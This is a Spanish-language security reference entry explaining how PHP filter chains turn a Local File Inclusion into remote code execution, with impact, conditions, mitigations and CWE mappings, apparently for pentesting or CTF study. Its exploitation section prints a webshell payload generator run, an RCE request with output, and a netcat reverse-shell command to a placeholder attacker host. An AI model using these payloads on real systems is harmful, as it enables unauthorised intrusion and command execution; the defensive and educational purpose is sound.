1. Descripción técnica
Los PHP filter chains son una técnica que puede convertir una Local File Inclusion (LFI), o una primitiva equivalente que llegue a include o require, en Remote Code Execution sin escribir un payload permanente en el servidor.
PHP permite encadenar filtros de conversión sobre un stream mediante el wrapper php://filter. Filtros como convert.iconv.* transforman bytes entre codificaciones. El investigador Gabriel "hash_kitten" descubrió que, encadenando cuidadosamente conversiones iconv, se puede construir byte a byte una cadena arbitraria al inicio del contenido devuelto.
Aprovechando esto, se genera una cadena de filtros que produce un payload PHP (p. ej. <?= `$_GET[cmd]` ?>) en memoria, que luego es interpretado por la función vulnerable (include, require, etc.). El resultado es ejecución de código PHP arbitrario partiendo únicamente de un LFI.
La herramienta php_filter_chain_generator (de Synacktiv) automatiza la construcción de la cadena.
2. Impacto de la vulnerabilidad
- Convierte un LFI en RCE sin requerir log poisoning, wrappers de subida ni
allow_url_include. - Ejecución de comandos con los privilegios del proceso web (típicamente
www-data). - Funciona incluso cuando no hay forma de escribir archivos en el servidor, ampliando enormemente el impacto de un LFI.
3. Contexto
- La técnica fue publicada por Gabriel Valuet (hash_kitten) en 2022 ("PHP filter chains: file read from error-based oracle" y su evolución a RCE).
- Synacktiv liberó el generador
php_filter_chain_generator.py, que la popularizó en CTFs y pentesting. - La técnica amplía el impacto potencial de una inclusión interpretada por PHP, pero su aplicabilidad depende del punto de inclusión, los filtros disponibles y los límites de longitud de la entrada.
4. Condiciones necesarias
- Una vulnerabilidad de LFI (o un parámetro que llegue a
include/require) donde se pueda inyectar unphp://filter. - Que PHP tenga disponibles los filtros
convert.iconv(presentes por defecto en la mayoría de instalaciones). - Que el contenido filtrado sea finalmente interpretado como PHP por la función vulnerable.
5. Validación y detección
- Confirmar primero el LFI y la capacidad de usar wrappers
php://filter:
?lang=php://filter/read=convert.base64-encode/resource=index.phpSi devuelve el código fuente en Base64, el wrapper de filtros funciona. Ese resultado no confirma todavía la RCE: también debe demostrarse que la aplicación interpreta como PHP el stream construido, que están disponibles las conversiones requeridas y que la cadena cabe en el canal de entrada.
6. Mitigación
- Eliminar la LFI de raíz: no incluir archivos basados en entrada del usuario; usar listas blancas (ver LFI (Local File Inclusion)).
- Bloquear los wrappers
php://en parámetros controlados por el usuario. - Endurecer
php.ini(allow_url_include = Off) y aplicar WAF, aunque la mitigación real es corregir la inclusión.
7. Explotación documentada
En 106-quick-2, 013-blackhat-2 y 30-loweb, una ruta controlada alcanza include() y acepta php://filter. La cadena generada construye el payload dentro de php://temp y el parámetro cmd aporta la orden:
❯ ./php_filter_chain_generator.py --chain '<?=`$_GET[cmd]`?>'
[+] The following gadget chain will generate the following code : <?=`$_GET[cmd]`?> (base64 value: PD89YCRfR0VUW2NtZF1gPz4)
php://filter/convert.iconv...convert.base64-decode/resource=php://temphttp://target/index.php?lang=php://filter/convert.iconv...convert.base64-decode/resource=php://temp&cmd=id
...
uid=33(www-data) gid=33(www-data) groups=33(www-data)Desde ahí se lanza una reverse shell (&cmd=busybox nc ATTACKER 1234 -e /bin/bash).
8. Clasificación
- Tipo: File Inclusion → Code Injection / Remote Code Execution
- CWE:
- CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program
- CWE-94: Improper Control of Generation of Code